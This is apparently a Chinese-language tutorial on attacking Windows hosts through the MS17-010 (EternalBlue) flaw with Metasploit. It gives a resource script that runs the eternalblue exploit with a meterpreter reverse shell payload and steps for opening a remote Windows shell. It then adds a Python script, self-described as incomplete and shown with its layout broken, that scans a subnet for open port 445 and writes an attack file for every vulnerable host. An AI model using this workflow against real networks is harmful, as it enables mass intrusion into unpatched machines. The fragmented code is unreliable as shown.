編寫Python腳本與Metasploit交互


在進行編寫與Metasploit交互的腳本前,我們先簡單運用Metasploit利用ms17-010(永恆之藍)漏洞對目標主機實現攻擊。詳細教程見->不可小看的漏洞——利用永恆之藍漏洞(MS17-010)入侵電腦

攻擊主機:kalilinux IP:192.168.1.14


編寫Python腳本與Metasploit交互

步驟:

(1)在kalilinux桌面創建一個以'.rc'為後綴的文件,我創建的是‘smb.rc’,然後填入下面的命令。

<code>

use

auxiliary/scanner/smb/smb_ms17_010

set

rhosts 192.168.1.10

use

exploit/windows/smb/ms17_010_eternalblue

set

rhosts 192.168.1.10

set

payload windows/x64/meterpreter/reverse_tcp

exploit

-j -z

/<code>
編寫Python腳本與Metasploit交互

(2)右擊文件smb.rc,在此打開終端。輸入如下命令,回車。

<code>

msfconsole

-r

smb

.rc

/<code>

(3)看到如下出現狀態,繼續按回車,然後輸入如下命令即可建立會話運行命令,具體利用可以見->利用永恆之藍漏洞(MS17-010)入侵電腦。

<code>

sessions

-i

1

/<code>
編寫Python腳本與Metasploit交互


編寫Python腳本與Metasploit交互


(5)輸入shell就可以進入Windows的cmd命令界面了。

編寫Python腳本與Metasploit交互

編寫python腳本

可以用python編寫一個能掃描445端口的主機,並自動生成一個去攻擊所有有漏洞主機的Metasploit腳本文件的Python腳本。

<code> 

import

nmap

import

os

import

optparse

import

sys

def

findTgts

(subNet)

:

nmScan = nmap.PortScanner() nmScan.scan(subNet,

'445'

) tgtHosts = []

for

host

in

nmScan.all_hosts():

if

nmScan[host].has_tcp(

445

): state = nmScan[host][

'tcp'

][

445

][

'state'

]

if

state ==

'open'

:

print

'[+] Found Target Host: '

+ host tgtHosts.append(host)

return

tgtHosts

def

setupHandler

(configFile, rhost)

:

configFile.write(

'use auxiliary/scanner/smb/smb_ms17_010\n'

) configFile.write(

'set rhosts '

+rhost+

'\n'

) configFile.write(

'use exploit/windows/smb/ms17_010_eternalblue\n'

) configFile.write(

'set rhosts '

+ rhost +

'\n'

) configFile.write(

'set payload windows/x64/meterpreter/reverse_tcp\n'

) configFile.write(

'exploit -j -z\n'

) configFile.write(

'setg DisablePayloadHandler 1\n'

)

def

confickerExploit

(configFile, tgtHost)

:

configFile.write(

'use auxiliary/scanner/smb/smb_ms17_010\n'

) configFile.write(

'set rhosts '

+ str(tgtHost) +

'\n'

) configFile.write(

'use exploit/windows/smb/ms17_010_eternalblue\n'

) configFile.write(

'set rhosts '

+ str(tgtHost) +

'\n'

) configFile.write(

'set payload windows/x64/meterpreter/reverse_tcp\n'

) configFile.write(

'exploit -j -z\n'

)/<code>


findTgts()函數中實現對整個網段的主機445端口的掃描,setupHandler()函數實現目標主機被攻擊後進行遠程交互的監聽器的功能,confickerExploit()函數實現命令執行,代碼未完整,可後續自行補充。


分享到:


相關文章: